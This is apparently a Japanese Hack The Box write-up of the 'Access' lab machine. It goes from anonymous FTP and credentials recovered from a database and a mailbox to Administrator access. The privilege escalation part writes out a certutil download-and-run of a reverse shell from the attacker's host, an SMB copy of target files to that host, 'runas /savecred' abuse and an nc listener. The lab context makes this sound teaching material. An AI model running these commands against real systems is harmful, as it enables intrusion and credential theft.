Hack The Box: Accessのwriteup。
一般ユーザーのフラグは割とすんなり取れたが、権限昇格でハマってしまい、ヒントをもとにようやく解けた。
以下はnmapのスキャン結果。
└─$ nmap -Pn -A $RHOST -oG general-portscan.txt
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-01-15 08:09 EST
Nmap scan report for 10.129.234.58
Host is up (0.31s latency).
Not shown: 997 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
21/tcp open ftp Microsoft ftpd
| ftp-syst:
|_ SYST: Windows_NT
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_Can't get directory listing: PASV failed: 425 Cannot open data connection.
23/tcp open telnet?
80/tcp open http Microsoft IIS httpd 7.5
| http-methods:
|_ Potentially risky methods: TRACE
|_http-title: MegaCorp
|_http-server-header: Microsoft-IIS/7.5
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 223.15 seconds
21番ポート(FTP)、23番ポート (telnet)、80番ポート (HTTP)が開いていた。
標的IPにブラウザでアクセスしてみたが、画像ファイルが表示されるのみで、特に見るべきものは無さそうだった。
nmapのスキャン結果より、anonymous
ユーザーとしてFTP接続できるようだったので、anonymous:anonymous
でFTP接続してみた。
└─$ ftp $RHOST
Connected to 10.129.234.58.
220 Microsoft FTP Service
Name (10.129.234.58:kali): anonymous
331 Anonymous access allowed, send identity (e-mail name) as password.
Password:
230 User logged in.
Remote system type is Windows_NT.
Backups
とEngineer
というフォルダを発見。
ftp> dir
425 Cannot open data connection.
200 PORT command successful.
125 Data connection already open; Transfer starting.
08-23-18 08:16PM <DIR> Backups
08-24-18 09:00PM <DIR> Engineer
226 Transfer complete.
Backups
フォルダにbackup.mdb
というファイルを、Engineer
フォルダにAccess Control.zip
というファイルをそれぞれ発見したので、ダウンロード。
ftp> cd Backups
250 CWD command successful.
ftp> dir
200 PORT command successful.
125 Data connection already open; Transfer starting.
08-23-18 08:16PM 5652480 backup.mdb
226 Transfer complete.
ftp> get backup.mdb
local: backup.mdb remote: backup.mdb
ftp> cd Engineer
250 CWD command successful.
ftp> dir
200 PORT command successful.
125 Data connection already open; Transfer starting.
08-24-18 12:16AM 10870 Access Control.zip
226 Transfer complete.
ftp> get Access Control.zip
local: Control.zip remote: Access
200 PORT command successful.
550 The system cannot find the file specified.
ftp> get "Access Control.zip"
local: Access Control.zip remote: Access Control.zip
余談だが、最初にbackup.mdb
をダウンロードしようとした際、ダウンロードに失敗してしまった。FTPをBinaryモードに切り替えて再度試みたところ、無事ダウンロードできた。
Access Control.zip
の中にAccess Control.pst
というファイルがあるのを確認できたが、ZIPファイルがパスワードで保護されていたため、取り出せなかった。
└─$ unzip -Z Access\ Control.zip
Archive: Access Control.zip
Zip file size: 10870 bytes, number of entries: 1
-rw-a-- 2.0 fat 271360 Bx u099 18-Aug-24 01:13 Access Control.pst
1 file, 271360 bytes uncompressed, 10666 bytes compressed: 96.1%
└─$ 7z x Access\ Control.zip
7-Zip 24.06 (x64) : Copyright (c) 1999-2024 Igor Pavlov : 2024-05-26
64-bit locale=en_US.UTF-8 Threads:32 OPEN_MAX:1024
Scanning the drive for archives:
1 file, 10870 bytes (11 KiB)
Extracting archive: Access Control.zip
--
Path = Access Control.zip
Type = zip
Physical Size = 10870
Enter password (will not be echoed):
ERROR: Wrong password : Access Control.pst
Sub items Errors: 1
Archives with Errors: 1
Sub items Errors: 1
backup.mdb
はMicrosoft Accessのデータベースファイルだった。このファイルの中にZIPファイルのパスワード情報が含まれているかもしれない。
└─$ file backup.mdb
backup.mdb: Microsoft Access Database
MdbtoolsでAccessデータベースにアクセスしてみたところ、大量のSQLテーブルを発見。
└─$ mdb-sql backup.mdb
1 => list tables;
+------------------------------+
|Tables |
+------------------------------+
|acc_antiback |
|acc_door |
|acc_firstopen |
|acc_firstopen_emp |
|acc_holidays |
|acc_interlock |
|acc_levelset |
|acc_levelset_door_group |
|acc_linkageio |
|acc_map |
|acc_mapdoorpos |
|acc_morecardempgroup |
|acc_morecardgroup |
|acc_timeseg |
|acc_wiegandfmt |
|ACGroup |
|acholiday |
|ACTimeZones |
|action_log |
|AlarmLog |
|areaadmin |
|att_attreport |
|att_waitforprocessdata |
|attcalclog |
|attexception |
|AuditedExc |
|auth_group_permissions |
|auth_message |
|auth_permission |
|auth_user |
|auth_user_groups |
|auth_user_user_permissions |
|base_additiondata |
|base_appoption |
|base_basecode |
|base_datatranslation |
|base_operatortemplate |
|base_personaloption |
|base_strresource |
|base_strtranslation |
|base_systemoption |
|CHECKEXACT |
|CHECKINOUT |
|dbbackuplog |
|DEPARTMENTS |
|deptadmin |
|DeptUsedSchs |
|devcmds |
|devcmds_bak |
|django_content_type |
|django_session |
|EmOpLog |
|empitemdefine |
|EXCNOTES |
|FaceTemp |
|iclock_dstime |
|iclock_oplog |
|iclock_testdata |
|iclock_testdata_admin_area |
|iclock_testdata_admin_dept |
|LeaveClass |
|LeaveClass1 |
|Machines |
|NUM_RUN |
|NUM_RUN_DEIL |
|operatecmds |
|personnel_area |
|personnel_cardtype |
|personnel_empchange |
|personnel_leavelog |
|ReportItem |
|SchClass |
|SECURITYDETAILS |
|ServerLog |
|SHIFT |
|TBKEY |
|TBSMSALLOT |
|TBSMSINFO |
|TEMPLATE |
|USER_OF_RUN |
|USER_SPEDAY |
|UserACMachines |
|UserACPrivilege |
|USERINFO |
|userinfo_attarea |
|UsersMachines |
|UserUpdates |
|worktable_groupmsg |
|worktable_instantmsg |
|worktable_msgtype |
|worktable_usrmsg |
|ZKAttendanceMonthStatistics |
|acc_levelset_emp |
|acc_morecardset |
|ACUnlockComb |
|AttParam |
|auth_group |
|AUTHDEVICE |
|base_option |
|dbapp_viewmodel |
|FingerVein |
|devlog |
|HOLIDAYS |
|personnel_issuecard |
|SystemLog |
|USER_TEMP_SCH |
|UserUsedSClasses |
|acc_monitor_log |
|OfflinePermitGroups |
|OfflinePermitUsers |
|OfflinePermitDoors |
|LossCard |
|TmpPermitGroups |
|TmpPermitUsers |
|TmpPermitDoors |
|ParamSet |
|acc_reader |
|acc_auxiliary |
|STD_WiegandFmt |
|CustomReport |
|ReportField |
|BioTemplate |
|FaceTempEx |
|FingerVeinEx |
|TEMPLATEEx |
+------------------------------+
125 Rows retrieved
これらのテーブルをCSVとして出力することにした。CSVへの出力にはmdb-export
コマンドが使えるが、この数のテーブルを手動でひとつずつ出力していくのは大変なので、以下の簡単なbashスクリプトを用意した。
└─$ cat export-tables.sh
#!/bin/bash
tables=$(cat tables.txt)
for table in $tables
do
mdb-export backup.mdb $table > csv/$table.csv
echo "Expoting to csv/$table.csv"
done
tables.txt
からテーブルの一覧を読み込んで、mdb-export
コマンドでひとつずつCSVファイルに出力するだけの簡単なスクリプトである。
└─$ ./export-tables.sh
Expoting to csv/acc_antiback.csv
Expoting to csv/acc_door.csv
Expoting to csv/acc_firstopen.csv
Expoting to csv/acc_firstopen_emp.csv
Expoting to csv/acc_holidays.csv
Expoting to csv/acc_interlock.csv
Expoting to csv/acc_levelset.csv
Expoting to csv/acc_levelset_door_group.csv
Expoting to csv/acc_linkageio.csv
Expoting to csv/acc_map.csv
Expoting to csv/acc_mapdoorpos.csv
Expoting to csv/acc_morecardempgroup.csv
Expoting to csv/acc_morecardgroup.csv
Expoting to csv/acc_timeseg.csv
-- snipped --
出力したCSVファイルの中にpassword
という文字列が含まれていないか確認。
└─$ grep -ic password *.csv | grep -v ":0"
auth_user.csv:1
Machines.csv:1
USERINFO.csv:1
結果、auth_user
テーブルを出力したauth_user.csv
の中に、以下のユーザー名とパスワードを発見。
└─$ cat auth_user.csv
id,username,password,Status,last_login,RoleID,Remark
25,"admin","admin",1,"08/23/18 21:11:47",26,
27,"engineer","access4u@security",1,"08/23/18 21:13:36",26,
28,"backup_admin","admin",1,"08/23/18 21:14:02",26,
Access Control.zip
の解凍用のパスワードはaccess4u@security
だった。
└─$ 7z x Access\ Control.zip
7-Zip 24.06 (x64) : Copyright (c) 1999-2024 Igor Pavlov : 2024-05-26
64-bit locale=en_US.UTF-8 Threads:32 OPEN_MAX:1024
Scanning the drive for archives:
1 file, 10870 bytes (11 KiB)
Extracting archive: Access Control.zip
--
Path = Access Control.zip
Type = zip
Physical Size = 10870
Enter password (will not be echoed):
Everything is Ok
Size: 271360
Compressed: 10870
ZIPファイルを解凍して、Access Control.pst
を取り出せた。
Access Control.pst
はOutlookのPSTファイルだった。
└─$ file 'Access Control.pst'
Access Control.pst: Microsoft Outlook Personal Storage (>=2003, Unicode, version 23), dwReserved1=0x234, dwReserved2=0x22f3a, bidUnused=0000000000000000, dwUnique=0x39, 271360 bytes, bCryptMethod=1, CRC32 0x744a1e2e
Libpstのreadpst
コマンドで、PSTファイルをmbox形式に変換。
└─$ readpst Access\ Control.pst
Opening PST file and indexes...
Processing Folder "Deleted Items"
"Access Control" - 2 items done, 0 items skipped.
mboxファイルを開いたところ、以下のメール文面を発見。
└─$ cat 'Access Control.mbox'
From "john@megacorp.com" Thu Aug 23 19:44:07 2018
Status: RO
From: john@megacorp.com <john@megacorp.com>
Subject: MegaCorp Access Control System "security" account
To: 'security@accesscontrolsystems.com'
Date: Thu, 23 Aug 2018 23:44:07 +0000
MIME-Version: 1.0
Content-Type: multipart/mixed;
boundary="--boundary-LibPST-iamunique-1563762339_-_-"
----boundary-LibPST-iamunique-1563762339_-_-
Content-Type: multipart/alternative;
boundary="alt---boundary-LibPST-iamunique-1563762339_-_-"
--alt---boundary-LibPST-iamunique-1563762339_-_-
Content-Type: text/plain; charset="utf-8"
Hi there,
The password for the “security” account has been changed to 4Cc3ssC0ntr0ller. Please ensure this is passed on to your engineers.
Regards,
John
上記より、security
というユーザー名と4Cc3ssC0ntr0ller
というパスワードを確認できた。
security:4Cc3ssC0ntr0ller
で標的マシンにtelnet接続できた。
└─$ telnet $RHOST
Trying 10.129.234.60...
Connected to 10.129.234.60.
Escape character is '^]'.
Welcome to Microsoft Telnet Service
login: security
login: security
password:
*===============================================================
Microsoft Telnet Server.
*===============================================================
C:\Users\security>whoami
access\security
C:\Users\security>hostname
ACCESS
一般ユーザーのフラグC:\Users\security\Desktop\user.txt
を入手。
C:\Users\security\Desktop>dir
Volume in drive C has no label.
Volume Serial Number is 8164-DB5F
Directory of C:\Users\security\Desktop
08/28/2018 06:51 AM <DIR> .
08/28/2018 06:51 AM <DIR> ..
01/15/2025 01:07 PM 34 user.txt
1 File(s) 34 bytes
2 Dir(s) 3,331,317,760 bytes free
続いて権限昇格であるが、その前に、telnetの動作がもっさりしていたので、リバースシェルを仕込むことにした。
が、グループポリシーによってリバースシェルの実行が妨げられてしまった。
C:\Users\security>certutil -urlcache -split -f http://10.10.16.174/shell64-nonstaged.exe shell64-nonstaged.exe & start shell64-nonstaged.exe
**** Online ****
0000 ...
1c00
CertUtil: -URLCache command completed successfully.
This program is blocked by group policy. For more information, contact your system administrator.
保存先のディレクトリを変更して再度試してみたが、駄目だった。
ので、リバースシェルは一旦おいて、引き続きtelnetで作業することにした。
列挙の結果、標的マシンにはZKAccess3.5というアプリケーションがインストールされていることが分かった。
C:\Users\security>powershell -ep bypass "Get-ItemProperty "HKLM:\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\*" | select displayname"
displayname
-----------
Fingerprint Online SDK 5.3.0.21
Update for Microsoft .NET Framework 4 Extended (KB2468871)
Security Update for Microsoft .NET Framework 4 Extended (KB2487367)
Update for Microsoft .NET Framework 4 Extended (KB2533523)
Update for Microsoft .NET Framework 4 Extended (KB2600217)
Security Update for Microsoft .NET Framework 4 Extended (KB2656351)
Security Update for Microsoft .NET Framework 4 Extended (KB2736428)
Security Update for Microsoft .NET Framework 4 Extended (KB2742595)
Microsoft Visual C++ 2008 Redistributable - x86 9.0.30729.17
Microsoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161
ZKAccess3.5 Security System
-- snipped--
c:\>dir
Volume in drive C has no label.
Volume Serial Number is 8164-DB5F
Directory of c:\
08/23/2018 10:05 PM <DIR> inetpub
07/14/2009 03:20 AM <DIR> PerfLogs
08/23/2018 08:53 PM <DIR> Program Files
08/24/2018 07:40 PM <DIR> Program Files (x86)
08/24/2018 07:39 PM <DIR> temp
08/21/2018 10:31 PM <DIR> Users
07/14/2021 01:04 PM <DIR> Windows
08/22/2018 07:23 AM <DIR> ZKTeco
0 File(s) 0 bytes
8 Dir(s) 3,346,477,056 bytes free
c:\>cd ZKTeco
c:\ZKTeco>dir
Volume in drive C has no label.
Volume Serial Number is 8164-DB5F
Directory of c:\ZKTeco
08/22/2018 07:23 AM <DIR> .
08/22/2018 07:23 AM <DIR> ..
08/23/2018 10:56 PM <DIR> ZKAccess3.5
0 File(s) 0 bytes
3 Dir(s) 3,346,477,056 bytes free
聞いたことのないアプリケーションだが、searchsploitによるとZKAccess3.5.3には権限昇格の脆弱性 (windows/local/40323.txt
)があるらしい。
└─$ searchsploit zkaccess
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
Exploit Title | Path
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
ZKTeco ZKAccess Professional 3.5.3 - Insecure File Permissions Privilege Escalation | windows/local/40323.txt
ZKTeco ZKAccess Security System 5.3.1 - Persistent Cross-Site Scripting | jsp/webapps/40328.html
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
Shellcodes: No Results
以下はPoC。
└─$ cat 40323.txt
ZKTeco ZKAccess Professional 3.5.3 Insecure File Permissions
Vendor: ZKTeco Inc. | Xiamen ZKTeco Biometric Identification Technology Co.,ltd
Product web page: http://www.zkteco.com
Affected version: 3.5.3 (Build 0005)
Summary: ZKAccess 3.5 is a desktop software which is suitable
for small and medium businesses application. Compatible with
all ZKAccess standalone reader controllers, the software can
simultaneously manage access control and generate attendance
report. The brand new flat GUI design and humanized structure
of new ZKAccess 3.5 will make your daily management more pleasant
and convenient.
Desc: ZKAccess suffers from an elevation of privileges vulnerability
which can be used by a simple authenticated user that can change the
executable file with a binary of choice. The vulnerability exist due
to the improper permissions, with the 'M' flag (Modify) for 'Authenticated Users'
group.
Tested on: Microsoft Windows 7 Ultimate SP1 (EN)
Microsoft Windows 7 Professional SP1 (EN)
Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
@zeroscience
Advisory ID: ZSL-2016-5361
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2016-5361.php
18.07.2016
--
C:\ZKTeco>icacls ZKAccess3.5
ZKAccess3.5 BUILTIN\Administrators:(I)(F)
BUILTIN\Administrators:(I)(OI)(CI)(IO)(F)
NT AUTHORITY\SYSTEM:(I)(F)
NT AUTHORITY\SYSTEM:(I)(OI)(CI)(IO)(F)
BUILTIN\Users:(I)(OI)(CI)(RX)
NT AUTHORITY\Authenticated Users:(I)(M)
NT AUTHORITY\Authenticated Users:(I)(OI)(CI)(IO)(M)
Successfully processed 1 files; Failed processing 0 files
どうやらファイル群のパーミッションに起因する脆弱性で、認証済みのユーザーであれば、ZKAccess3.5フォルダ内のファイルを編集できるらしい。(Authenticated Users
グループにM
(Modify
) フラグが付与されているため)
標的マシンのZKAccess3.5フォルダのパーミッションを確認してみたが、PoCにあるような設定の不備はなかったため、この脆弱性は使えそうになかった。
c:\ZKTeco>icacls ZKAccess3.5
ZKAccess3.5 NT AUTHORITY\SYSTEM:(I)(OI)(CI)(F)
BUILTIN\Administrators:(I)(OI)(CI)(F)
BUILTIN\Users:(I)(OI)(CI)(RX)
BUILTIN\Users:(I)(CI)(AD)
BUILTIN\Users:(I)(CI)(WD)
CREATOR OWNER:(I)(OI)(CI)(IO)(F)
列挙を続けたが、ほかに権限昇格の突破口は見つからなかった。
なので、アプリケーションの設定ファイル等から、認証情報を窃取する方向へと切り替えてみた。
ZKAccess3.5フォルダの目ぼしいファイルを攻撃マシンにコピーして調べてみることにした。
以下の手順で標的マシンから攻撃マシンへファイルをコピーした。
impacket-smbserver
で攻撃マシンのディレクトリをSMB共有フォルダに設定。
sudo impacket-smbserver myshare ./
標的マシンのZKAccess3.5フォルダから、攻撃マシン上のSMB共有フォルダへファイルをコピー。
copy Access.mdb \\10.10.16.174\myshare
copy access.sql \\10.10.16.174\myshare
copy droptable.sql \\10.10.16.174\myshare
copy *.xml \\10.10.16.174\myshare
copy *.ini \\10.10.16.174\myshare
copy *.config \\10.10.16.174\myshare
copy *.manifest \\10.10.16.174\myshare
copy *.txt \\10.10.16.174\myshare
copy *.bat \\10.10.16.174\myshare
copy Access.pdb \\10.10.16.174\myshare
コピーしたファイルを調べてみたが、権限昇格につながりそうな認証情報等は見つからなかった。
この辺で行き詰ったので、ヒントを見てみた。
以下ヒント。
- Clear Text Credentials
- Information Disclosure
- Anonymous/Guest Access
- Sensitive Data Exposure
- Password Reuse
- Password Dump
どれも設定不備やパスワードに関するものばかりである。ということは、やはりシステム上のどこかに権限昇格につながる認証情報が潜んでいるのだろう。
しばらくググっていたところ、cmdkeyコマンドの存在を知った。
さらに調べたところ、cmdkey /list
でシステムに保存されているクレデンシャルを確認し、高権限ユーザーのクレデンシャルが保存されていた場合、runas
コマンドの/savecred
オプションを使用することで、任意のコマンドやプログラムを高権限で実行できるらしいことが分かった。(参考)
さっそく確認したところ、Administrator
ユーザーのクレデンシャルが保存されていることが判明。
C:\Users\security>cmdkey /list
Currently stored credentials:
Target: Domain:interactive=ACCESS\Administrator
Type: Domain Password
User: ACCESS\Administrator
リバースシェルを仕込んで、runas
コマンドを/savecred
オプション付きで実行してみた。
runas /savecred /user:ACCESS\administrator c:\users\security\shell64-nonstaged.exe
すると、シェルが管理者権限で起動した。
└─$ rlwrap nc -nvlp 53
listening on [any] 53 ...
whoami
connect to [10.10.16.174] from (UNKNOWN) [10.129.234.67] 49159
Microsoft Windows [Version 6.1.7600]
Copyright (c) 2009 Microsoft Corporation. All rights reserved.
C:\Windows\system32>
C:\Windows\system32>whoami
access\administrator
rootユーザーのフラグc:\Users\Administrator\Desktop\root.txt
を入手できた。
c:\Users\Administrator\Desktop>dir
dir
Volume in drive C has no label.
Volume Serial Number is 8164-DB5F
Directory of c:\Users\Administrator\Desktop
07/14/2021 02:40 PM <DIR> .
07/14/2021 02:40 PM <DIR> ..
01/19/2025 07:48 AM 34 root.txt
1 File(s) 34 bytes
2 Dir(s) 3,346,792,448 bytes free